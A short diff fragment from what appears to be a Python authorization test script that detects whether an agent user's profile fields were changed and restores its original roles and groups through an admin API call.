+ needs_restore = True
188
+ print(f" ! AGENT's {f} was MODIFIED. Before: {AGENT_ME.get(f)} After: {me_after.get(f)}")
189
+ if needs_restore:
190
+ print()
191
+ print(f" ! Restoring agent profile to original state via admin token...")
192
+ restore_body = {'roleIds': AGENT_ME.get('roleIds', []), 'groupIds': AGENT_ME.get('groupIds', [])}
193
+ r = subprocess.run(['curl', '-s', '-X', 'PUT', f"{TARGET}/api/admin/users/{AGENT_ME['id']}",
194
+ '-H', f'Authorization: Bearer {ADMIN_TOK}',
195
+ '-H', 'Content-Type: application/json',
196
+ '-d', json.dumps(restore_body),
197
+ '-w', '\nHTTP_CODE:%{http_code}'],
198
+ capture_output=True, text=True)
199
+ print(f" restore status: {r.stdout.split('HTTP_CODE:')[-1].strip()}")
200
+
201
+ sys.exit(1 if crit > 0 else 0)